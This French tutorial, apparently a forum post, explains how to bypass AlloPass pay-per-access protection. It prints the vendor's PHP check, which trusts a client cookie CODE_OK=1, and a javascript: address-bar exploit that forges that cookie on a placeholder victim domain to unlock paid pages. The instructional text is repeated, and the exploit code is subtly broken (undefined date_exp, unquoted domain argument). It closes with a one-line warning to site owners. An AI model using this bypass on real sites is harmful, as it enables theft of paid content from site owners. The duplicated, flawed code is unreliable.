La plupart des sites utilisent le code d'AlloPass pour protéger leurs sites avec AlloPass.
Voici ce code :
Ce code ajoute le cookie CODE_OK.
Si le cookie CODE_OK fais 1 alors l'accès est autorisé.
Voici désormais le code Javascript qui va nous permettre l'exploitation de cette faille :
Nom de domaine (NDD_DE_LA_VICTIME.COM) à changer bien sûr.
Ensuite, allez sur la page protégée et tapez dans la barre d'adresse :
Ne mettez pas de nom de domaine ni rien ; uniquement ce code Javascript car :
http: : sert à voir le contenu //site.tld
mailto : sert à envoyer un mail
data: sert à afficher des donnés HTML
Javascript: à exécuter l'exploit
Le code ne fonctionnera uniquement si le code source originel de la page est :
Verdict, n'optez pas pour cette solution faillible sur votre site !
Voici ce code :
Code:
<?php $RECALL = $_GET["RECALL"]; if( trim($RECALL) == "" ) { // La variable RECALL est vide, renvoi de l'internaute // vers une page d'erreur header( "Location: erreur.html" ); exit(1); } // $RECALL contient le code d'accès $RECALL = urlencode( $RECALL ); // $AUTH doit contenir l'identifiant de VOTRE document $AUTH = urlencode( "54/75/456" ); /** * envoi de la requête vers le serveur AlloPAss * dans la variable $r[0] on aura la réponse du serveur * dans la variable $r[1] on aura le code du pays d'appel de l'internaute * (FR,BE,UK,DE,CH,CA,LU,IT,ES,AT,...) * Dans le cas du multicode, on aura également $r[2],$r[3] etc... * contenant à chaque fois le résultat et le code pays. */ $r = @file( "http://payment.allopass.com/api/checkcode.apu?code=$RECALL&auth=$AUTH" ); // on teste la réponse du serveur if( substr( $r[0],0,2 ) != "OK" ) { // Le serveur a répondu ERR ou NOK : l'accès est donc refusé header( "Location: erreur.html" ); exit(1); } /** * Le code est valide ! * on place un cookie appelé CODE_OK et qui vaut la valeur 1 * Ce cookie est valide jusqu'à ce que l'internaute ferme son navigateur * Dans les pages suivantes, il n'y aura plus qu'à tester l'existence du cookie * S'il existe, c'est que l'internaute est autorisé, * sinon on le renverra sur une page d'erreur */ setCookie( "CODE_OK", "1", 0, "/", ".mondomaine.com", false ); /** * Remplacez dans la ligne ci-dessus ".mondomaine.com" par le nom de domaine * de votre site! * Par exemple, si votre site est accessible à l'adresse : * http://perso.herbergeur.com/mapage * alors il faudra que vous mettiez ".herbergeur.com" * (n'oubliez pas le "." devant le nom de domaine !!) */ ?>
Si le cookie CODE_OK fais 1 alors l'accès est autorisé.
Voici désormais le code Javascript qui va nous permettre l'exploitation de cette faille :
Code:
function SetCookie (name, value) { var argv=SetCookie.arguments; var argc=SetCookie.arguments.length; var expires=(argc > 2) ? argv[2] : null; var path=(argc > 3) ? argv[3] : null; var domain=(argc > 4) ? argv[4] : null; var secure=(argc > 5) ? argv[5] : false; document.cookie=name+"="+escape(value)+ ((expires==null) ? "" : ("; expires="+expires.toGMTString()))+ ((path==null) ? "" : ("; path="+path))+ ((domain==null) ? "" : ("; domain="+domain))+ ((secure==true) ? "; secure" : ""); }date_exp.setTime(date_exp.getTime()+(365*24*3600*1000)); SetCookie("CODE_OK","1",date_exp,.NDD_DE_LA_VICTIME.COM); location.reload();
Ensuite, allez sur la page protégée et tapez dans la barre d'adresse :
Code:
javascript:function SetCookie (name, value) { var argv=SetCookie.arguments; var argc=SetCookie.arguments.length; var expires=(argc > 2) ? argv[2] : null; var path=(argc > 3) ? argv[3] : null; var domain=(argc > 4) ? argv[4] : null; var secure=(argc > 5) ? argv[5] : false; document.cookie=name+"="+escape(value)+ ((expires==null) ? "" : ("; expires="+expires.toGMTString()))+ ((path==null) ? "" : ("; path="+path))+ ((domain==null) ? "" : ("; domain="+domain))+ ((secure==true) ? "; secure" : ""); }date_exp.setTime(date_exp.getTime()+(365*24*3600*1000)); SetCookie("CODE_OK","1",date_exp,.NDD_DE_LA_VICTIME.COM); location.reload();
http: : sert à voir le contenu //site.tld
mailto : sert à envoyer un mail
data: sert à afficher des donnés HTML
Javascript: à exécuter l'exploit
Le code ne fonctionnera uniquement si le code source originel de la page est :
Code:
<?php if( $HTTP_COOKIE_VARS['CODE_OK'] != '1') { header( "Location: ./itools/pack/allo.it/error.php?erreur=forbidden" ); exit(1); } ?>
Commentaire